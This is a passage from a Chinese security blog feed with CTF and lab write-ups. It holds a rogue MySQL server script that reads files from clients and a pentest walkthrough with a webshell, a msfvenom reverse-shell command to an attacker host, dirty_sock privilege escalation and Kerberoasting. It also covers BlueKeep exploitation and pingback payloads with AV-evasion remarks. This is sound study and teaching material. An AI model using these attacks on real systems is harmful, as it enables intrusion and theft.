class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># coding=utf-8 </span></span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">import</span> logging</span><br><span class="line">logging.basicConfig(level=logging.DEBUG)</span><br><span class="line"></span><br><span class="line">filename=<span class="string">"/proc/self/cwd/index.php"</span></span><br><span class="line">sv=socket.socket()</span><br><span class="line">sv.bind((<span class="string">""</span>,<span class="number">3306</span>))</span><br><span class="line">sv.listen(<span class="number">5</span>)</span><br><span class="line">conn,address=sv.accept()</span><br><span class="line">logging.info(<span class="string">'Conn from: %r'</span>, address)</span><br><span class="line">conn.sendall(<span class="string">"\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"</span>)</span><br><span class="line">conn.recv(<span class="number">9999</span>)</span><br><span class="line">logging.info(<span class="string">"auth okay"</span>)</span><br><span class="line">conn.sendall(<span class="string">"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"</span>)</span><br><span class="line">conn.recv(<span class="number">9999</span>)</span><br><span class="line">logging.info(<span class="string">"want file..."</span>)</span><br><span class="line">wantfile=chr(len(filename)+<span class="number">1</span>)+<span class="string">"\x00\x00\x01\xFB"</span>+filename</span><br><span class="line">conn.sendall(wantfile)</span><br><span class="line">content=conn.recv(<span class="number">9999</span>)</span><br><span class="line">logging.info(content)</span><br><span class="line">conn.close()</span><br></pre></td></tr></table></figure><p>tip: 当找不到网站路径的时候,可以利用<code>/proc/self/cwd</code>目录来读取apache进程的php文件源码</p><h2 id="0x03-相关链接🔗"><a href="#0x03-相关链接🔗" class="headerlink" title="0x03 相关链接🔗"></a>0x03 相关链接🔗</h2><p><a href="https://blog.csdn.net/goodluckwhh/article/details/17010029" target="_blank" rel="noopener">https://blog.csdn.net/goodluckwhh/article/details/17010029</a><br><a href="https://unix.stackexchange.com/questions/333225/which-process-is-proc-self-for" target="_blank" rel="noopener">https://unix.stackexchange.com/questions/333225/which-process-is-proc-self-for</a><br><a href="https://www.cnblogs.com/youxin/p/4980058.html" target="_blank" rel="noopener">https://www.cnblogs.com/youxin/p/4980058.html</a></p>]]></content>
<summary type="html">
<blockquote>
<p>@Author: Patrilic<br>@Time: 2019-9-11 0:44:23<br><img src="/wallpaper/thumb-1920-608362.jpg" alt></p>
</blockquote>
<h2 id="
</summary>
<category term="linux" scheme="http://patrilic.top/categories/linux/"/>
<category term="proc" scheme="http://patrilic.top/tags/proc/"/>
</entry>
<entry>
<title>N1CTF Pentest N1ctf2019.lab Write-up</title>
<link href="http://patrilic.top/2019/09/10/N1CTF%20%20Pentest%20N1ctf2019.lab%20Write-up/"/>
<id>http://patrilic.top/2019/09/10/N1CTF Pentest N1ctf2019.lab Write-up/</id>
<published>2019-09-09T17:20:33.000Z</published>
<updated>2019-09-09T15:03:25.597Z</updated>
<content type="html"><![CDATA[<blockquote><p>@Author: Patrilic<br>@Time: 2019-09-10 01:20:33<br><img src="/wallpaper/thumb-1920-584470.jpg" alt></p></blockquote><h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>scanf大师傅的题,tql..orz<br>被haya师傅带着做了老半天,才肝出来第一题,然后后面因为太多人搅屎没办法做了..</p><p>现在比赛结束了,趁着师傅还没关环境复盘一下</p><h2 id="0x01-Step-1"><a href="#0x01-Step-1" class="headerlink" title="0x01 Step 1"></a>0x01 Step 1</h2><p><img src="/N1CTF Pentest N1ctf2019.lab Write-up.resources/8B6AEA77-BC71-4524-AB3E-03682BE9AA2B.png" alt="bfb092323f5fb9388df881f67790c5fa"></p><p>入口ip:<br>简单探测一下端口:47.52.129.242<br><img src="/N1CTF Pentest N1ctf2019.lab Write-up.resources/F08CCB53-2BEA-45DC-B0DA-4F2BC882EB53.png" alt="dd0b6c61e3921224e34a939bed7af5db"></p><p>发现开了ProFTPD 1.3.5</p><p>稍微googole一下,发现存在任意文件拷贝漏洞(CVE-2019-12815)</p><p>使用ncftp 连接<br><img src="/N1CTF Pentest N1ctf2019.lab Write-up.resources/0E212818-FD0C-4FF0-A6FC-FB489AA4123A.png" alt="926bccdda31f92e2756d6d79922d0b74"></p><p>其实还是蛮卡的…<br><img src="/N1CTF Pentest N1ctf2019.lab Write-up.resources/F29833FD-DAE3-44BF-B4D4-D52E08039466.png" alt="13ec778cbd22acd27d61aa2cddf1bf40"></p><p>然后我们把msg文件写入到patrilic.php里</p><p><img src="/N1CTF Pentest N1ctf2019.lab Write-up.resources/26BF5290-F82E-4BF0-83C7-4919069AB43D.png" alt="c33df3cd9728cf93922824154027574a"></p><blockquote><p>PS: 好像Windows连接需要密码,然后TOP1000字典就可以爆破出来,用户ftp 密码 mustang</p></blockquote><p>所以现在我们有一个<code>www-data</code>权限的webshell,先反弹一个shell到我们的vps上</p><p>先查看一下内核版本:<br><img src="/N1CTF Pentest N1ctf2019.lab Write-up.resources/675A849D-69D2-4096-86FB-E966A8C08EB9.png" alt="82bb6955321a5530c3bf9a12277d6fb0"></p><p>ok,使用<code>msfvenom</code>生成一个x64的linux reverse_shell木马,放在web目录下</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom --payload linux/x64/shell_reverse_tcp LHOST=45.xx.xx.xx LPORT=7778 -f elf -o /home/wwwroot/default/test.elf</span><br></pre></td></tr></table></figure><p>我们用file_put_contents + file_get_contents将文件下载到/tmp目录下<br><img src="/N1CTF Pentest N1ctf2019.lab Write-up.resources/20EF13D9-B920-4C9F-84FE-FCD4AF273E9E.png" alt="d6ff181f69ac7604fe5c637ac30deb64"></p><p><img src="/N1CTF Pentest N1ctf2019.lab Write-up.resources/0EF41EEA-CA1B-43E0-871F-38F60DB606F6.png" alt="954843a51658096b9c4c38ff57e7b6fa"></p><p>然后给个执行权限 就可以弹回shell了</p><p><img src="/N1CTF Pentest N1ctf2019.lab Write-up.resources/123A148B-B113-4DD5-AFCB-75FA44314F4F.png" alt="bbf5cad7c673e608440379b7ff6ff091"></p><p>然后给它升级一下,搞成meterpreter session<br><img src="/N1CTF Pentest N1ctf2019.lab Write-up.resources/E1D7AACB-FC79-43DA-8B32-CEB073860A57.png" alt="aa30ede9c3f038c1e9cd13dbca800839"></p><p>提权的话,因为给了提示嘛,snap,也能比较容易想到是年初那个漏洞</p><p>CVE-2019-7304<br>github上也有exp:<a href="https://github.com/initstring/dirty_sock" target="_blank" rel="noopener">https://github.com/initstring/dirty_sock</a></p><p>然后因为有师傅搅屎..就把snap升级了,导致没提示的时候,很多师傅一脸懵逼<br><img src="/N1CTF Pentest N1ctf2019.lab Write-up.resources/8C6E7428-C46F-428F-86BA-21E122C7B106.png" alt="e1f33edcc2a556e7ed15a6c1bae0be25"></p><p>不过snap是在18.04的版本之后才会自带,所以在这嫌疑还是比较大的</p><p>我们先用python得到一个半互式shell<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python -c <span class="string">"import pty;pty.spawn('/bin/bash')"</span></span><br></pre></td></tr></table></figure></p><p><img src="/N1CTF Pentest N1ctf2019.lab Write-up.resources/19F30D2A-BF2B-4F89-91CB-9CB7DCE38BC9.png" alt="b95386722c3c3a34961c7b8528cc83c4"></p><p>可以看到其实,这个exp会生成一个<code>dirty_sock</code>用户,并且密码就是<code>dirty_sock</code><br><img src="/N1CTF Pentest N1ctf2019.lab Write-up.resources/0F9D34D8-20D2-443B-B50D-33EC15E10CF4.png" alt="9f889bd4914086f7264e6899039dd6ec"></p><p>Get the flag: N1CTF{ImpOrtant_P0int3_4de0e}</p><h2 id="0x02-Step-2"><a href="#0x02-Step-2" class="headerlink" title="0x02 Step 2"></a>0x02 Step 2</h2><p><img src="/N1CTF Pentest N1ctf2019.lab Write-up.resources/61C9F7F2-E91B-47E0-B3D4-B85F65BBEC53.png" alt="7a4b924e2833d1fcb3650d3014e8dcd4"></p><p>ps获取进程列表<br><img src="/N1CTF Pentest N1ctf2019.lab Write-up.resources/0B6BE438-DB34-4FA6-AFFC-3A0377150FB8.png" alt="131de33d1136f8bf8d9186506a6e97f0"></p><p><img src="/N1CTF Pentest N1ctf2019.lab Write-up.resources/77BB4EC0-21B9-42AD-9EF3-38792F5D2DEC.png" alt="97c856f03e9a74098462c37adcfc9e6f"></p><p>可以看到dev上有一个域用户<br><img src="/N1CTF Pentest N1ctf2019.lab Write-up.resources/2481FCC8-41D6-40BA-BC15-7E4AC208D4ED.png" alt="cd1e782d5470e4ef6206fffc7b86bbc6"></p><p>使用meterpreter加载一个powerview.ps1来帮助我们信息搜集</p><p>注意在现在的branch里是没有Get-DomainUser等函数的,使用<br><a href="https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1#L4906" target="_blank" rel="noopener">https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1#L4906</a></p><p><img src="/N1CTF Pentest N1ctf2019.lab Write-up.resources/545FAF70-7345-4667-8704-FB4244EBA3D2.png" alt="03048e40dac0352715cfbd422a7a75b6"></p><p>以下省略1000字(就是常规的Get-DomainUser等进行搜集)</p><p>通过信息搜集,我们获取到了存在一个backup Server<br><img src="/N1CTF Pentest N1ctf2019.lab Write-up.resources/A6F837F7-5B9D-4222-8D72-6860DE27F023.png" alt="e7ef96141c9817a0d3369e74910e1a32"></p><p>调用<code>Invoke-Kerberoast</code>获取SPN密文<br><img src="/N1CTF Pentest N1ctf2019.lab Write-up.resources/4A0FA7B5-A860-4CEA-BF81-7ED94637DF8B.png" alt="99c1cfebd9372ddf839cd407ca4099d9"><br>解密: P@ssword123</p><p>然后后面就是约束委派,提权拿到\backup.n1ctf2019.lab\backupfile\DCServer的访问权限</p><p>里面存有注册表备份,使用impacket套件解密后拿到本地管理员hash</p><p>然后银票据,金票据,拿到DC权限,最后拿到域管理员桌面上的flag</p><h2 id="0x03-总结"><a href="#0x03-总结" class="headerlink" title="0x03 总结"></a>0x03 总结</h2><p>因为后面隧道实在是太不稳定了,session疯狂掉,一直在88这台机子上转悠<br>虽然好像就我一个人在弄<br><img src="/N1CTF Pentest N1ctf2019.lab Write-up.resources/9359A854-337E-4AB2-BAE2-166F58C570AF.png" alt="91d5a2c55d9806198151c414dd240769"></p><p>vultr真惨啊..</p><p>然后后面的约束委派,实在是不怎么熟悉,还是经验太少..</p><p>最后实名膜一波<code>scanf</code>师傅,以及带我飞的<code>haya</code>师傅,orz</p><p>奉上官方wp:<br><a href="https://github.com/Nu1LCTF/n1ctf-2019/blob/master/WEB/Pentest_N1CTF2019.lab/README.md" target="_blank" rel="noopener">https://github.com/Nu1LCTF/n1ctf-2019/blob/master/WEB/Pentest_N1CTF2019.lab/README.md</a></p><p>Nu1L太强了, 也感谢一波scanf师傅带来这么有趣的题目(不过如果没人搅屎的话说不定能肝出来step2 hhhh)</p><p>最后还是觉得,过段时间好好研究一波kerberos~,趁着还在学校hhhh(kekeo都没用过的我 太菜了)</p>]]></content>
<summary type="html">
<blockquote>
<p>@Author: Patrilic<br>@Time: 2019-09-10 01:20:33<br><img src="/wallpaper/thumb-1920-584470.jpg" alt></p>
</blockquote>
<h2 id
</summary>
<category term="Write-up" scheme="http://patrilic.top/categories/Write-up/"/>
<category term="n1ctf-pentest" scheme="http://patrilic.top/tags/n1ctf-pentest/"/>
</entry>
<entry>
<title>CVE-2019-0708 RDP 远程代码执行</title>
<link href="http://patrilic.top/2019/09/09/CVE-2019-0708%20RDP%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/"/>
<id>http://patrilic.top/2019/09/09/CVE-2019-0708 RDP 远程代码执行/</id>
<published>2019-09-09T09:03:55.000Z</published>
<updated>2019-09-09T12:07:38.289Z</updated>
<content type="html"><![CDATA[<blockquote><p>@Author: Patrilic<br>@Time: 2019-09-09 17:03:55<br><img src="/wallpaper/8.png" alt></p></blockquote><h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>RDP服务的漏洞,除了之前的<code>ms12-020</code>(补丁号:<code>KB2621440</code>),影响最轰动的也就是这次的<code>bluekeep</code>了,hw之前爆出的漏洞,前两天<code>rapid7</code>官方在github上传了最新的exp,可直接利用。</p><p><strong>影响范围</strong><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">Windows 7</span><br><span class="line"></span><br><span class="line">Windows Server 2008 R2</span><br><span class="line"></span><br><span class="line">Windows Server 2008</span><br><span class="line"></span><br><span class="line">Windows Server 2003</span><br><span class="line"></span><br><span class="line">Windows XP</span><br></pre></td></tr></table></figure></p><h2 id="0x01-漏洞复现"><a href="#0x01-漏洞复现" class="headerlink" title="0x01 漏洞复现"></a>0x01 漏洞复现</h2><p>目前需要替换exp包,我这里使用的是MacOS环境(exp包到处都有,就不放了)<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">cve_2019_0708_bluekeep_rce.rb 添加到 /opt/metasploit-framework/embedded/framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb</span><br><span class="line"></span><br><span class="line">rdp.rb 替换 /opt/metasploit-framework/embedded/framework/lib/msf/core</span><br><span class="line"></span><br><span class="line">rdp_scanner.rb 替换 /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/dp_scanner.rb</span><br><span class="line"></span><br><span class="line">cve_2019_0708_bluekeep.rb 替换 /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb</span><br></pre></td></tr></table></figure></p><p>替换完成之后使用<code>reload_all</code>加载模块<br><img src="/CVE-2019-0708 RDP 远程代码执行.resources/6BC0D3A6-C794-4D55-A0DA-DD40C87198D4.png" alt="5bd7750bf0e644937edf8c6a1474e664"></p><p>可以看到存在4个targets,我使用的是VMWare,所以选target 3</p><p><strong>Windows 7 ultimate SP1</strong><br><img src="/CVE-2019-0708 RDP 远程代码执行.resources/FFEE06BD-258D-411F-AA56-C7D79F037E53.png" alt="e147fe734985ded3f8137442b883e5ec"></p><p>但是关掉session后重新打第二次,就蓝屏了<br><img src="/CVE-2019-0708 RDP 远程代码执行.resources/3DFEC667-3E43-47DD-B13E-C09010C459CA.png" alt="2342e02c78bd2677c4bbcc38523587d8"></p><p><strong>Windows Server 2008 R2</strong> ,果然蓝屏了2333<br><img src="/CVE-2019-0708 RDP 远程代码执行.resources/CCAF6F35-964F-47EB-B380-50B4BC89BD17.png" alt="a38d2f7b12e397248a5dfc1cdc8c9d37"></p><h2 id="0x02-总结"><a href="#0x02-总结" class="headerlink" title="0x02 总结"></a>0x02 总结</h2><p>听大佬说,核心代码还没放出来,测试过程中发现除了08的不能成功,其他都还ok,(听说需要修改注册表)</p><h2 id="0x03-相关链接🔗"><a href="#0x03-相关链接🔗" class="headerlink" title="0x03 相关链接🔗"></a>0x03 相关链接🔗</h2><p><a href="https://www.freebuf.com/news/203584.html" target="_blank" rel="noopener">https://www.freebuf.com/news/203584.html</a><br><a href="https://www.freebuf.com/vuls/205380.html" target="_blank" rel="noopener">https://www.freebuf.com/vuls/205380.html</a><br><a href="https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2012/ms12-020" target="_blank" rel="noopener">https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2012/ms12-020</a><br><a href="https://github.com/rapid7/metasploit-framework/pull/12283/files#diff-880ad99e50249db44c2f19b94f7a4870" target="_blank" rel="noopener">https://github.com/rapid7/metasploit-framework/pull/12283/files#diff-880ad99e50249db44c2f19b94f7a4870</a></p>]]></content>
<summary type="html">
<blockquote>
<p>@Author: Patrilic<br>@Time: 2019-09-09 17:03:55<br><img src="/wallpaper/8.png" alt></p>
</blockquote>
<h2 id="0x00-前言"><a hr
</summary>
<category term="漏洞复现" scheme="http://patrilic.top/categories/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"/>
<category term="BlueKeep" scheme="http://patrilic.top/tags/BlueKeep/"/>
</entry>
<entry>
<title>MSF Pingback Payloads</title>
<link href="http://patrilic.top/2019/09/06/Payloads/"/>
<id>http://patrilic.top/2019/09/06/Payloads/</id>
<published>2019-09-05T16:47:46.000Z</published>
<updated>2019-09-16T06:42:00.915Z</updated>
<content type="html"><![CDATA[<p><a name="JSO7R"></a></p><h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><blockquote><p>文章首发于先知社区,文章链接:<a href="https://xz.aliyun.com/t/6268" target="_blank" rel="noopener">https://xz.aliyun.com/t/6268</a></p></blockquote><p>今天早上Rapid7cn的公众号更新了一篇文章,然后就被群里的大师傅们转发了好几遍233,感觉挺有意思的,也想着分析一下</p><p><a href="https://mp.weixin.qq.com/s/ZI-qQ_ORKG_gJ2Wnc2PiRA" target="_blank" rel="noopener">https://mp.weixin.qq.com/s/ZI-qQ_ORKG_gJ2Wnc2PiRA</a></p><p>官网: <a href="https://blog.rapid7.com/2019/08/01/introducing-pingback-payloads/" target="_blank" rel="noopener">https://blog.rapid7.com/2019/08/01/introducing-pingback-payloads/</a><br><a name="mXsId"></a></p><h2 id="0x01-pingback"><a href="#0x01-pingback" class="headerlink" title="0x01 pingback"></a>0x01 pingback</h2><p><img src="https://cdn.nlark.com/yuque/0/2019/png/258139/1567694251815-6a249db8-4ac8-4a27-b999-49869d8138d5.png" alt="image.png">这次一共更新了10个pingback payload, 至于什么是pingback,其实msf官方在github已经说的很清楚了<br><a href="https://github.com/rapid7/metasploit-framework/pull/12129" target="_blank" rel="noopener">https://github.com/rapid7/metasploit-framework/pull/12129</a></p><blockquote><p>Pingback payloads are designed to provide a limited-functionality payload to verify an exploit has worked. <strong>It does not provide a shell of any kind.</strong> A pingback payload creates a “random” UUID value (separate from the payload UUID) that is written to the Metasploit database along with other data. When executed on target, the payload sends back that UUID to verify that the exploit worked, but nothing else. When Framework receives that UUID, we verify the target is vulnerable to the exploit without loading an interactive shell.<br>This prevents traditional [W/M]ITM attacks or someone sniffing the traffic for information, as the UUID itself means nothing to a listener, and without further execution, the session itself is not particularly valuable to an attacker.</p></blockquote><p>简单来说感觉其实就是,AV对msf之前的常规reverse_shell会进行拦截,导致我们并不能很清楚的知道目标是否存在该漏洞,然后这个payload就完全不会产生交互式shell,而只是返回一个UUID,能让我们知道poc/exp是否执行成功,然后目标是否存在当前漏洞,而不必担心被中间人攻击或者被拦截</p><p><img src="https://cdn.nlark.com/yuque/0/2019/png/258139/1567696662682-c96fa1cc-966d-4b06-b19e-2d52f8884ed3.png" alt="image.png"></p><h2 id="0x02-How-to-Use"><a href="#0x02-How-to-Use" class="headerlink" title="0x02 How to Use"></a>0x02 How to Use</h2><p>翻看代码,我们发现它其实是每次生成一个新的UUID,然后将其发送到目标中,然后调用listener中的payload设置一个监听,然后当程序进行 <code>Pingback</code> 时,MSF打开一个会话来接受UUID,最后拿到完整UUID后,就关闭当前session</p><figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># msf/modules/payloads/singles/ruby/pingback_reverse_tcp.rb</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">ruby_string</span></span></span><br><span class="line"> <span class="keyword">self</span>.pingback_uuid <span class="params">||</span>= <span class="keyword">self</span>.generate_pingback_uuid</span><br><span class="line"> lhost = datastore[<span class="string">'LHOST'</span>]</span><br><span class="line"> lhost = <span class="string">"[<span class="subst">#{lhost}</span>]"</span> <span class="keyword">if</span> Rex::Socket.is_ipv6?(lhost)</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"require'socket';"</span> \</span><br><span class="line"> <span class="string">"c=TCPSocket.new'<span class="subst">#{lhost}</span>',<span class="subst">#{datastore[<span class="string">'LPORT'</span>].to_i}</span>;"</span> \</span><br><span class="line"> <span class="string">"c.puts'<span class="subst">#{[[<span class="keyword">self</span>.pingback_uuid].pack(<span class="string">'H*'</span>)].pack(<span class="string">'m0'</span>)}</span>'.unpack('m0');"</span></span><br><span class="line"> <span class="string">"c.close"</span></span><br><span class="line"> <span class="keyword">end</span></span><br></pre></td></tr></table></figure><figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># msf/base/sessions/pingback.rb</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">uuid_read</span></span></span><br><span class="line"> uuid_raw = rstream.get_once(<span class="number">16</span>, <span class="number">1</span>)</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">nil</span> <span class="keyword">unless</span> uuid_raw</span><br><span class="line"> <span class="keyword">self</span>.uuid_string = uuid_raw.each_byte.map { <span class="params">|b|</span> <span class="string">"%02x"</span> % b.to_i() }.join</span><br><span class="line"> print_status(<span class="string">"Incoming UUID = <span class="subst">#{uuid_string}</span>"</span>)</span><br><span class="line"> <span class="keyword">if</span> framework.db.active</span><br><span class="line"> <span class="keyword">begin</span></span><br><span class="line"> payload = framework.db.payloads(<span class="symbol">uuid:</span> uuid_string).first</span><br><span class="line"> <span class="keyword">if</span> payload.<span class="literal">nil</span>?</span><br><span class="line"> print_warning(<span class="string">"Provided UUID (<span class="subst">#{uuid_string}</span>) was not found in database!"</span>)</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> print_good(<span class="string">"UUID identified (<span class="subst">#{uuid_string}</span>)"</span>)</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"> <span class="keyword">rescue</span> ActiveRecord::ConnectionNotEstablished</span><br><span class="line"> print_status(<span class="string">"WARNING: UUID verification and logging is not available, because the database is not active."</span>)</span><br><span class="line"> <span class="keyword">rescue</span> => e</span><br><span class="line"> <span class="comment"># <span class="doctag">TODO:</span> Can we have a more specific exception handler?</span></span><br><span class="line"> <span class="comment"># Test: what if we send no bytes back? What if we send less than 16 bytes? Or more than?</span></span><br><span class="line"> elog(<span class="string">"Can't get original UUID"</span>)</span><br><span class="line"> elog(<span class="string">"Exception Class: <span class="subst">#{e.<span class="keyword">class</span>.name}</span>"</span>)</span><br><span class="line"> elog(<span class="string">"Exception Message: <span class="subst">#{e.message}</span>"</span>)</span><br><span class="line"> elog(<span class="string">"Exception Backtrace: <span class="subst">#{e.backtrace}</span>"</span>)</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> print_warning(<span class="string">"WARNING: UUID verification and logging is not available, because the database is not active."</span>)</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"> <span class="keyword">end</span></span><br></pre></td></tr></table></figure><p>然后在 <code>option.rb</code> 中,我们能看到pingback的模块存在两个选项:</p><figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">initialize</span><span class="params">(info = {})</span></span></span><br><span class="line"> <span class="keyword">super</span></span><br><span class="line"> register_advanced_options(</span><br><span class="line"> [</span><br><span class="line"> Msf::OptInt.new(<span class="string">'PingbackRetries'</span>, [<span class="literal">true</span>, <span class="string">"How many additional successful pingbacks"</span>, <span class="number">0</span>]),</span><br><span class="line"> Msf::OptInt.new(<span class="string">'PingbackSleep'</span>, [<span class="literal">true</span>, <span class="string">"Time (in seconds) to sleep between pingbacks"</span>, <span class="number">30</span>])</span><br><span class="line"> ], <span class="keyword">self</span>.<span class="keyword">class</span>)</span><br><span class="line"> <span class="keyword">end</span></span><br></pre></td></tr></table></figure><ul><li>PingbackRetries - pingback的次数</li><li>PingbackSleep - pinigback的时间间隔</li></ul><p>我们利用 <code>Msfvenom</code> 生成一个 <code>windows/x64/pingback_reverse_tcp</code> 的exe木马</p><figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -p windows/x64/pingback_reverse_tcp -f exe -o patrilic.exe LHOST=<span class="number">192.168</span>.<span class="number">1.107</span> LPORT=<span class="number">4445</span> EXITFUNC=thread PINGBACKRETRIES=<span class="number">10</span> PINGBACKSLEEP=<span class="number">5</span></span><br></pre></td></tr></table></figure><p>然后在目标机器上执行时:</p><p><img src="https://cdn.nlark.com/yuque/0/2019/png/258139/1567698698752-8e60bbfb-8134-4cae-a909-80499d4ab5c2.png" alt="image.png"><br>只会返回UUID<br><img src="https://cdn.nlark.com/yuque/0/2019/png/258139/1567698945771-f65f647a-3285-42e1-863e-29555f64cca5.png" alt="image.png"></p><p>然后目标机器上并没有产生任何的交互式shell,同时使用 <code>Wireshark</code> 也只能捕获到16byte的UUID值</p><p><img src="https://cdn.nlark.com/yuque/0/2019/png/258139/1567699063357-40b97628-fdfa-4c67-951a-546ce62b1f6e.png" alt="image.png"></p><h2 id="0x03-总结"><a href="#0x03-总结" class="headerlink" title="0x03 总结"></a>0x03 总结</h2><p>这次更新的pingback payload,已经感觉是最小化的攻击载荷了,而且特征也并不明显,只是一串随机的UUID值而已,感觉用来验证漏洞还是挺不错的,然后后面再办法去掉exp特征,使用另外的方式来获得交互式shell或者直接执行命令云云.. 当然,msf直接生成的程序特征还是挺明显的,还是需要进行免杀,不过由于这个payload并没有进行起敏感进程,所以还是比较好免杀的。</p><p>shellcode随便加密搞了下,静态还行,但是动态估计也没啥2333毕竟也没有危险进程,只是开了个socket</p><p><img src="https://cdn.nlark.com/yuque/0/2019/png/258139/1567701851264-0e1de3de-9aec-49dd-99cc-278ba2685e22.png#align=left&display=inline&height=937&name=image.png&originHeight=1874&originWidth=3358&size=497343&status=done&width=1679" alt="image.png"></p><p>然后进程开起来的话,找了个360的机子试了下,没啥问题</p><p><img src="https://cdn.nlark.com/yuque/0/2019/png/258139/1567701981644-609e99b8-e943-4859-96fb-00c8d6ffa46e.png" alt="image1.png"></p><p>不过特征估计也快普及了,感觉思路挺好的,学习了~</p>]]></content>
<summary type="html">
<p><a name="JSO7R"></a></p>
<h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><blockquote>
<p>文章首发于先知社区
</summary>
<category term="Red-Team Tricks" scheme="http://patrilic.top/categories/Red-Team-Tricks/"/>
<category term="metasploit" scheme="http://patrilic.top/tags/metasploit/"/>
</entry>
</feed>